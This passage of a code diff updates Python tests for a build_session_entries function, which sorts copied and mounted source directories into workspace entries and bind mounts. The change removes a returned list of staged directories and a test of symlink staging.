in instructions_override
)
assert kwargs["system_prompt_context"] == {
**scope_context,
+4 -24
View File
@@ -18,18 +18,15 @@ def _source(subdir: str, path: str, *, mount: bool = False) -> dict[str, Any]:
def test_copied_source_becomes_localdir_entry(tmp_path: Path) -> None:
entries, bind_mounts, staged_dirs = build_session_entries([_source("repo", str(tmp_path))])
entries, bind_mounts = build_session_entries([_source("repo", str(tmp_path))])
assert bind_mounts == []
assert staged_dirs == []
assert isinstance(entries["repo"], LocalDir)
assert entries["repo"].src == tmp_path.resolve()
def test_mounted_source_becomes_bind_mount(tmp_path: Path) -> None:
entries, bind_mounts, _staged = build_session_entries(
[_source("repo", str(tmp_path), mount=True)]
)
entries, bind_mounts = build_session_entries([_source("repo", str(tmp_path), mount=True)])
assert entries == {}
assert bind_mounts == [
@@ -47,7 +44,7 @@ def test_mixed_sources_split_correctly(tmp_path: Path) -> None:
copied.mkdir()
mounted.mkdir()
entries, bind_mounts, _staged = build_session_entries(
entries, bind_mounts = build_session_entries(
[
_source("copied", str(copied)),
_source("mounted", str(mounted), mount=True),
@@ -60,7 +57,7 @@ def test_mixed_sources_split_correctly(tmp_path: Path) -> None:
def test_incomplete_sources_are_skipped() -> None:
entries, bind_mounts, staged_dirs = build_session_entries(
entries, bind_mounts = build_session_entries(
[
{"source_path": "", "workspace_subdir": "x"},
{"source_path": "/p", "workspace_subdir": ""},
@@ -68,20 +65,3 @@ def test_incomplete_sources_are_skipped() -> None:
)
assert entries == {}
assert bind_mounts == []
assert staged_dirs == []
def test_symlink_tree_is_staged(tmp_path: Path) -> None:
repo = tmp_path / "repo"
repo.mkdir()
(repo / "real.txt").write_text("content")
(repo / "link.txt").symlink_to(repo / "real.txt")
entries, _mounts, staged_dirs = build_session_entries([_source("repo", str(repo))])
assert len(staged_dirs) == 1
entry = entries["repo"]
assert isinstance(entry, LocalDir)
assert entry.src == staged_dirs[0]
assert not (staged_dirs[0] / "link.txt").is_symlink()
assert (staged_dirs[0] / "link.txt").read_text() == "content"
Generated
+1472 -1481
View File
File diff suppressed because it is too large Load Diff